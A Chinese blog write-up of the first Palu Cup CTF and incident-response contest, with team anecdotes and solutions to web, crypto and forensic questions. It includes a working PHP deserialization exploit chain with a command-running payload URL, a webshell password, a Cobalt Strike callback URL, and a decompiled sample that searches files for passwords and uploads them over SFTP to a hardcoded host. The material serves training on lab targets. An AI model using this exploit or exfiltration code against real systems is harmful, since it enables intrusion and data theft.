Pr1nt
文章12
标签8
分类4

文章分类

文章归档

帕鲁杯 CTF应急响应比赛 WriteUp

帕鲁杯 CTF应急响应比赛 WriteUp

第一届帕鲁杯 CTF应急响应比赛 WriteUp

目录
  1. 第一届帕鲁杯 CTF应急响应比赛 WriteUp
    1. 战绩
    2. 关于奖励
    3. 感悟
    4. WP
      1. Web-签到
      2. WEB-r23
      3. Crypto-两元钱的铜匠
      4. CRypto-江枫渔火对愁眠
      5. Crypto-玛卡巴卡有什么坏心思呢
      6. Crypto-签到
      7. 1. 签到 提交:[堡垒机的flag标签的值]
      8. 2. 提交攻击者第一次登录时间格式为:[2024/00/00/00:00:00]
      9. 3. 提交攻击者源IP格式为:[0.0.0.0]
      10. 4. 提交攻者使用的cve编号格式为:[CVE-0000-0000]
      11. 5. 提交攻击者留着web服务器上的恶意程序的32位小写md5格式为:[xxxxxx]
      12. 6. 分析恶意程序连接地址和密码格式为:[md5(地址)-md5(密码)]全小写
      13. 7. 提交存在反序列化漏洞的端口格式为:[md5(端口)]
      14. 8. 提交攻击者使用的后门路由地址格式为:[md5(/api/xxx)]
      15. 9. 提交dnslog反弹域名格式为:[md5(域名)]
      16. 10. 提交第一次扫描器使用时间格式为:[2024/00/00/00:00:00]
      17. 11. 提交攻击者反弹shell使用的语言格式为:[md5(c++&java)]均为小写
      18. 12. 提交攻击者反弹shell的ip格式为:[xxx.xxx.xxx.xxx]
      19. 13. 提交攻击者留下的账号格式为:[xxxxx]
      20. 14. 提交攻击者的后门账户密码格式为:[md5(password)]
      21. 15. 提交测试数据条数格式为[md5(xxx)]
      22. 16. 请提交攻击者留下的信息格式为:[xxxx]
      23. 17. 请提交运维服务器上的恶意文件md5小写32格式为:[xxxx]
      24. 18. 提交恶意文件的恶意函数格式为:[md5(恶意函数)]
      25. 19. 请提交攻击者恶意注册的恶意用户条数格式为:[md5(x)]
      26. 20. 请提交对博客系统的第一次扫描时间格式为:[[2024/00/00/00:00:00]
      27. 21. 提交攻击者下载的文件格式为[xxxx.xxx]
      28. 22. 请提交攻击者第一次下载的时间格式为:[xx/Apr/2024:xx:xx:xx]
      29. 23. 请提交攻击者留下的冰蝎马的文件名称格式为:[xxxx]
      30. 24. 提交冰蝎的链接密码格式为:[xxx]
      31. 25. 提交办公区存在的恶意用户名格式为:[xxx]
      32. 26. 提交恶意用户密码到期时间格式为:[xxxx]
      33. 27. 请对办公区留存的镜像取证并指出内存疑似恶意进程格式为:[xxxx]
      34. 28. 请指出该员工使用的公司OA平台的密码格式为:[xxxx]
      35. 29. 攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么格式为:[xxxx]
      36. 30. 请提交该计算机中记录的重要联系人的家庭住址格式为:[xxxxx]
      37. 31. 请提交近源靶机上的恶意文件哈希格式为:[xxx]
      38. 32. 提交恶意程序的外联地址格式为:[xxxxx]
      39. 33. 提交攻击者使用内网扫描工具的哈希格式为:[xxxx]
      40. 34. 请提交攻击者在站点上留下的后门密码格式为:[xxxx]
      41. 35. 请提交攻击者在数据库留下的信息格式为:[xxxx]
      42. 36. 提交攻击者在监控服务器上留下的dcnlog地址格式为:[xxx.xx.xx]
      43. 37. 提交监控服务器上恶意用户的上一次登录时间格式为:[xx/xx/xx/xx:xx:xx]
      44. 38. 提交监控服务器上遗留的反弹shell地址和端口格式为:[xxxx:xx]
      45. 39. 提交恶意钓鱼文件的哈希格式为:[xxxx]
      46. 40. 提交恶意文件外联IP格式为:[xxx]
      47. 41. 提交被恶意文件钓鱼使用者的姓名格式为:[xxx]
      48. 42. 提交攻击者留下的信息格式为:[xxxx]
      49. 43. 提交恶意用户数量格式为:[md5(xxxx)]
      50. 44. 请提交员工集体使用的密码格式为:[xxxx]
      51. 45. 提交加密文件的哈希格式为:[xxxx]
      52. 46. 提交被攻击者加密的内容明文格式为:[xxxx]
      53. 47. 请提交符合基线标准的服务器数量格式为:[md5(xx)]
      54. 48. 提交办公区的恶意文件哈希格式为:[xxx]
      55. 49. 提交恶意回连端口格式为:[xxx]
      56. 50. 提交恶意程序中的falg格式为:[xxx]
      57. 51. 提交恶意文件中的search_for_text内容 格式为:[xxxx]

战绩

别的大佬说自己被c大部分都是假的,赛后一统计数据全队贡献分最高,但我被c是真的
假人们,水懂啊,比赛第一天早八点开始,我在学校,晚上一回家看见队伍排行第二,我人都傻了,汪队和孙哥俩人差点把应急响应ak
汪队只输出了一天,第二天就飞福建准备打红明谷了,不然汪队能把web和应急都ak了,我的作用就是在汪队离开之后写写web的WP顺手秒一个web签到,好吧汪队其实只解了一个别的还没来得及呢就下线web题了,估计是被D的太狠了,也是一个比较简单绕过__wakeup()的反序列化

我不做flag的生产者,我只是flag的搬运工(我的意思是我在孙哥有事交不了flag的时候代交一下)

最后也是有惊无险拿下第十(输出都是汪队和孙哥打的)
战绩
前十

关于奖励

本身就是公益性质的比赛,也是第一个将应急响应出在ctf里面的比赛,官方准备的不是很充分,周五比赛周四出的题,奖品也都是官方自掏腰包买的,也就zoomeye和玄机给了点赞助(5个月度vip和200个邀请码),而且比赛一开始3小时被人D了400g,确实有点缺德了本来官方是只设置为第一一等奖第二二等奖这种,第四就是优秀贡献奖了,后来在群里好多群u都需要奖状混学分所以最后官方决定前六是特等奖后面20个一等30个二等50个三等,奖励内容没有增加(因为官方真没钱了)

最后我们第十的奖励就是一个玄机邀请码,一个电子证书,证书估计五一前后会发出来

感悟

看群里一大堆人连大一都是稀有物种,高中生好像也就我一个,谁家好人高中就开始应急响应啊,提前为社畜生活积累经验是吧这次的主要问题是应急响应类比赛第一次参加,什么都不懂,但是被带飞了赛后群友说堡垒机里面有录像,记载着出题人出题的过程,甚至还有复制错了的"你竟然敢吼我!",非常有意思,虽然我不知道哪个是堡垒机(x)
而且我的环境一直有问题不知道为什么,我也就一开始访问成功了,后来也许是我改了root密码还是什么原因就不知道了,反正除了webserver那个服务以外一个jumpserver一个长亭雷池waf我都访问不上我就一直在那翻机器里的日志,但是日志里面内容又乱又没有有价值的东西,最后看群友还翻的靶机的注册表,我根本想不到,而且靶机开机自启动的一个服务器管理程序就是恶意程序,我以为是题目里面的东西听说还有火眼这种取证神器,但是要钱,也不知道具体情况

哎呦你妈的web最少解那个文件上传题看wp好简单啊,就是一个*解析的事,传个shell.php *.jpg就可以了的,结果我不会抓自己本地的包,而且后面不想努力了想摆了所以没做出来

嗯,就是这些,再接再厉吧(嗯,writeup也不是我写的,正如我说的那样,我只是搬运的)

WP

Web

Web-签到

image

flask写的两个路由,flag是返回paluctf,另外一个是路由接收url,url响应体有paluctf就return flag

请求自己带flag响应体就有paluctf,直接就出来了

WEB-r23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
show_source(__FILE__);
class a{
public $b;
public function __get($a){
$this->b->love();
}
}

class b{
public $a;
public $c;
public $d = 1;
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}

class xk{
public function love(){
system($_GET['a']);
}
}
$payload = new b();
$a = new b();
$a->b = &$a->d;
$a->b = &$a->c;
$a->a = new a();
$a->a->b = new xk();
echo serialize([$a, $payload]);

unserialize($_GET['pop']);
//?pop=a:2:{i:0;O:1:"b":4:{s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}s:1:"c";N;s:1:"d";i:1;s:1:"b";R:5;}i:1;O:1:"b":3:{s:1:"a";N;s:1:"c";N;s:1:"d";i:1;}}&a=cat%20flag.php

基本的构造绕过,具体POP如下

创建b类的实例$a。

设置$a->a为新的a类实例。

将$a->a->b设为xk类的新实例。

设置$a->b为对$a->d的引用,然后改为对$a->c的引用。

序列化$a对象。

Crypto

Crypto-两元钱的铜匠

1
2
3
4
5
6
7
8
9
n = 80916351132285136921336714166859402248518125673421944066690210363157948681543515675261790287954711843082802283188843248579293238274583917836325545166981149125711216316112644776403584036920878846575128588844980283888602402513345309524782526525838503856925567762860026353261868959895401646623045981393058164201
N = 175887339574643371942360396913019735118423928391339797751049049816862344090324438786194807609356902331228801731590496587951642499325571035835790931895483345540104575533781585131558026624618308795381874809845454092562340943276838942273890971498308617974682097511232721650227206585474404895053411892392799799403
leak = 161177488484579680503127298320874823539858895081858980450427298120182550612626953405092823674668208591844284619026441298155371399651438065337570099147890081125477609238234662000811899869636390550619251741676887565983189442613760093303841954633720778312454175652907352477365434215186845209831284593041581382419
a = pow(9999, 66666)
b = pow(66666, 9999)
P.<x> = PolynomialRing(Zmod(N))
f = a*x^2 - leak*x + b*n
p = f.roots()
print(p)

通过Sage Cell 服务器 (sagemath.org) 网站,得到p

然后根据p,q,n,c,rsa解密。

55889464403601630400535396894773636084437838131024127884720705327499836176203640678726013

image

转换明文得到flag

paluctf{6699669966996699669966996699}

CRypto-江枫渔火对愁眠

1
2
3
4
5
6
7
8
对于每位:
li1=(leak1 >> idx)&1li2=(leak2 >> idx)&1
pi =(p>>idx)&1qi=(q>>idx)&1
只有以下4种情形:
[1]pi=1 and qi=1->li1-1 and li2=1
[2]pi=0 and qi-1->li1=0 and li2-1
[3]pi=1 and qi=0->li1-0 and li2-1
[4]pi=0 and qi-0->li1-0 and li2=0

写出解密脚本

image

Crypto-玛卡巴卡有什么坏心思呢

和应急响应46 同脚本解密得到答案

Crypto-签到

打开socket代理,写脚本连接服务器,接收加密数据和参数,然后利用RSA解密算法计算并返回解密后的消息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import remote
from Crypto.Util.number import long_to_bytes, inverse

def connect_and_calculate(host, port):
# 连接到服务器
conn = remote(host, port)

try:

conn.recvuntil(b'Hi Palu\n')
c_line = conn.recvline().decode()
p_line = conn.recvline().decode()
e_line = conn.recvline().decode()

c = int(c_line.split(': ')[1].strip())
p = int(p_line.split(': ')[1].strip())
e = int(e_line.split(': ')[1].strip())
n = p * p
phi_n = p * (p - 1)
d = inverse(e, phi_n)
plaintext = pow(c, d, n)
decrypted_message = long_to_bytes(plaintext)
return decrypted_message

finally:
conn.close()
host = '127.0.0.1'
port = 58109
while True:
try:
result = connect_and_calculate(host, port)
print(result)
except Exception as e:
print(f"发生错误:{e}")
应急响应

1. 签到 提交:[堡垒机的flag标签的值]

使用账号登录jumpserver,更多选项-》标签列表

image

2. 提交攻击者第一次登录时间格式为:[2024/00/00/00:00:00]

切换工作目录为审计台,排除查登录日志,时间筛选一年以内,分析发现有一个LAN登录

image

3. 提交攻击者源IP格式为:[0.0.0.0]

分析jumpserver日志和会话,发现除20网段以外的地址,1.4

4. 提交攻者使用的cve编号格式为:[CVE-0000-0000]

分析webserver日志,发现jumpserver被攻击,上网查询相关cve

image

5. 提交攻击者留着web服务器上的恶意程序的32位小写md5格式为:[xxxxxx]

目录排查发现webserver虚拟机root目录下有一个home elf文件,jumpserver会话命令有提示将ppttteee文件mv到该目录下,并且时间对应

image

image

image

6. 分析恶意程序连接地址和密码格式为:[md5(地址)-md5(密码)]全小写

7. 提交存在反序列化漏洞的端口格式为:[md5(端口)]

webserver中审计日志和查看进程信息,fastjson存在java反序列化

image

image

8. 提交攻击者使用的后门路由地址格式为:[md5(/api/xxx)]

webserver中还有一个7001端口监听了flask服务,分析app.py审计flask的log得到api

image

image

9. 提交dnslog反弹域名格式为:[md5(域名)]

分析后门写入的日志

image

image

10. 提交第一次扫描器使用时间格式为:[2024/00/00/00:00:00]

分析后门日志的时间戳,从19开始后大规模扫描

image

image

11. 提交攻击者反弹shell使用的语言格式为:[md5(c++&java)]均为小写

分析后门日志发现py的反弹shell

image

image

12. 提交攻击者反弹shell的ip格式为:[xxx.xxx.xxx.xxx]

继续分析后门日志

image

13. 提交攻击者留下的账号格式为:[xxxxx]

/var/backup文件夹,进去有账号密码备份

image

14. 提交攻击者的后门账户密码格式为:[md5(password)]

同上,拉去john爆一下

image

15. 提交测试数据条数格式为[md5(xxx)]

分析后门日志,发现除爆破数据外前面测试了五次ls命令

image

16. 请提交攻击者留下的信息格式为:[xxxx]

nginx的日志目录

image

17. 请提交运维服务器上的恶意文件md5小写32格式为:[xxxx]

jumpserver看日志,排序时间发现helloworld程序,查看相关命令

image

image

18. 提交恶意文件的恶意函数格式为:[md5(恶意函数)]

入口函数名

image

19. 请提交攻击者恶意注册的恶意用户条数格式为:[md5(x)]

查看论坛的数据库地址,查询数据表得到注册的恶意用户

image

image

20. 请提交对博客系统的第一次扫描时间格式为:[[2024/00/00/00:00:00]

查看Discuz!论坛的数据访问日志,在error中得到扫描时间

/var/www/html/data/log/202404_errorlog.php

image

21. 提交攻击者下载的文件格式为[xxxx.xxx]

web根目录的备份文件upload.zip

22. 请提交攻击者第一次下载的时间格式为:[xx/Apr/2024:xx:xx:xx]

23. 请提交攻击者留下的冰蝎马的文件名称格式为:[xxxx]

/var/www/html/api/nidewen.php

image

24. 提交冰蝎的链接密码格式为:[xxx]

解密key文件名

image

25. 提交办公区存在的恶意用户名格式为:[xxx]

PC-01 net user

image

26. 提交恶意用户密码到期时间格式为:[xxxx]

和25题一样看信息

image

27. 请对办公区留存的镜像取证并指出内存疑似恶意进程格式为:[xxxx]

image

28. 请指出该员工使用的公司OA平台的密码格式为:[xxxx]

image

image

29. 攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么格式为:[xxxx]

image

30. 请提交该计算机中记录的重要联系人的家庭住址格式为:[xxxxx]

strings大法+百度智能化引擎搜索

31. 请提交近源靶机上的恶意文件哈希格式为:[xxx]

md5 值 [a7fcd0b15a080167c4c2f05063802a6e]

启动目录下artifact.exe

image

32. 提交恶意程序的外联地址格式为:[xxxxx]

cs木马逆向配合OD动态查看ip,这个里面有一个解密的程序把这里一段字符 揭秘一下就是一个函数,然后 运行到执行之前用F12搜关键字

传微步也能得到!!!

image

http://101.78.63.44:80/UphQey

33. 提交攻击者使用内网扫描工具的哈希格式为:[xxxx]

history

fscan md5值

34. 请提交攻击者在站点上留下的后门密码格式为:[xxxx]

index.php eval($_[123])

202cb962ac59075b964b07152d234b70

35. 请提交攻击者在数据库留下的信息格式为:[xxxx]

192.168.20.52

用户名:mysql密码:mysql1234

36. 提交攻击者在监控服务器上留下的dcnlog地址格式为:[xxx.xx.xx]

192.168.20.52

用户名:mysql密码:mysql1234

zabbix的auditlog表里面就有dnslog地址,反弹shell是表记录里面有一个python反弹shell,base64解码

37. 提交监控服务器上恶意用户的上一次登录时间格式为:[xx/xx/xx/xx:xx:xx]

38. 提交监控服务器上遗留的反弹shell地址和端口格式为:[xxxx:xx]

192.168.20.52

用户名:mysql密码:mysql1234

反弹shell是表记录里面有一个python反弹shell,base64解码

39. 提交恶意钓鱼文件的哈希格式为:[xxxx]

[da75025ff7f3b6baa27f5913c1c83063]

image

image

40. 提交恶意文件外联IP格式为:[xxx]

41. 提交被恶意文件钓鱼使用者的姓名格式为:[xxx]

image

42. 提交攻击者留下的信息格式为:[xxxx]

注册表打开就有flag

43. 提交恶意用户数量格式为:[md5(xxxx)]

PC02 admin00-admin19 + guest + dev00-dev19+sale00-sale08 = 49

md5(49) = f457c545a9ded88f18ecee47145a72c0

44. 请提交员工集体使用的密码格式为:[xxxx]

登录其他账户测试一下

image

45. 提交加密文件的哈希格式为:[xxxx]

[2bf71a0d6d4e70cec7602da2b653e2ab]

image

46. 提交被攻击者加密的内容明文格式为:[xxxx]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

import re
encoding_rules = {
'a': '玛卡巴卡轰',
'b': '阿巴雅卡轰',
'c': '伊卡阿卡噢轰',
'd': '哈姆达姆阿卡嗙轰',
'e': '咿呀呦轰',
'f': '玛卡雅卡轰',
'g': '伊卡阿卡轰',
'h': '咿呀巴卡轰',
'i': '达姆阿卡嗙轰',
'j': '玛卡巴卡玛卡巴卡轰',
'k': '玛卡巴卡玛卡巴卡玛卡巴卡轰',
'l': '玛卡巴卡玛卡巴卡玛卡巴卡玛卡巴卡轰',
'm': '阿巴雅卡阿巴雅卡轰',
'n': '阿巴雅卡阿巴雅卡阿巴雅卡轰',
'o': '阿巴雅卡阿巴雅卡阿巴雅卡阿巴雅卡轰',
'p': '伊卡阿卡噢伊卡阿卡噢轰',
'q': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
'r': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
's': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
't': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
'u': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
'v': '咿呀呦咿呀呦轰',
'w': '咿呀呦咿呀呦咿呀呦轰',
'x': '咿呀呦咿呀呦咿呀呦咿呀呦轰',
'y': '咿呀呦咿呀呦咿呀呦咿呀呦咿呀呦轰',
'z': '玛卡雅卡玛卡雅卡轰',
'A': '玛卡雅卡玛卡雅卡玛卡雅卡轰',
'B': '玛卡雅卡玛卡雅卡玛卡雅卡玛卡雅卡轰',
'C': '伊卡阿卡伊卡阿卡轰',
'D': '伊卡阿卡伊卡阿卡伊卡阿卡轰',
'E': '伊卡阿卡伊卡阿卡伊卡阿卡伊卡阿卡轰',
'F': '咿呀巴卡咿呀巴卡轰',
'G': '咿呀巴卡咿呀巴卡咿呀巴卡轰',
'H': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
'I': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
'J': '达姆阿卡嗙达姆阿卡嗙轰',
'K': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
'L': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
'M': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
'N': '巴卡巴卡轰',
'O': '巴卡巴卡巴卡巴卡轰',
'P': '巴卡巴卡巴卡巴卡巴卡巴卡轰',
'Q': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
'R': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
'S': '呀呦轰',
'T': '呀呦呀呦轰',
'U': '呀呦呀呦呀呦轰',
'V': '呀呦呀呦呀呦呀呦轰',
'W': '呀呦呀呦呀呦呀呦呀呦轰',
'X': '达姆阿卡轰',
'Y': '达姆阿卡达姆阿卡轰',
'Z': '达姆阿卡达姆阿卡达姆阿卡轰',
'0': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
'1': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
'2': '玛巴轰',
'3': '玛巴玛巴轰',
'4': '玛巴玛巴玛巴轰',
'5': '玛巴玛巴玛巴玛巴轰',
'6': '巴卡玛巴轰',
'7': '巴卡玛巴巴卡玛巴轰',
'8': '巴卡玛巴巴卡玛巴巴卡玛巴轰',
'9': '巴卡玛巴巴卡玛巴巴卡玛巴巴卡玛巴轰',
'=': '妈个巴子轰',
'/': '妈个巴卡轰',
'+': '妈个巴达轰',

}

def decodemaba(miwen):
mingwen=''
# print(f'密文{{miwen}}')
result = re.split(r'(?<=轰)', miwen)
# print(result)
for it in result:
# print(it)
for key,val in encoding_rules.items():
# print(val)
if it==val:
# print("找到明文密码")
# print(key)
mingwen = str(mingwen)+str(key)
print(mingwen)



decodemaba("密文")

47. 请提交符合基线标准的服务器数量格式为:[md5(xx)]

所有服务器存在漏洞,符合基线数量为0.

`cfcd208495d565ef66e7dff9f98764da`

48. 提交办公区的恶意文件哈希格式为:[xxx]

imageimage

49. 提交恶意回连端口格式为:[xxx]

python文件反编译

image

反编译pyc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    #!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8

import os
import paramiko
from getpass import getpass

def search_in_files(directory, search_text):
pass
# WARNING: Decompyle incomplete



def ssh(local_file_path, remote_file_path):
hostname = '192.168.20.123'
port = 22
username = 'root'
password = 'Network@2020'
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, port, username, password)
sftp = client.open_sftp()
sftp.put(local_file_path, remote_file_path)
sftp.close()
client.close()
print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')
flag = 'flag{234567uyhgn_aiduyai}'

search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)

50. 提交恶意程序中的falg格式为:[xxx]

49题源码

flag{234567uyhgn\_aiduyai}

51. 提交恶意文件中的search_for_text内容 格式为:[xxxx]

49题源码

search\_for\_text = 'passwod'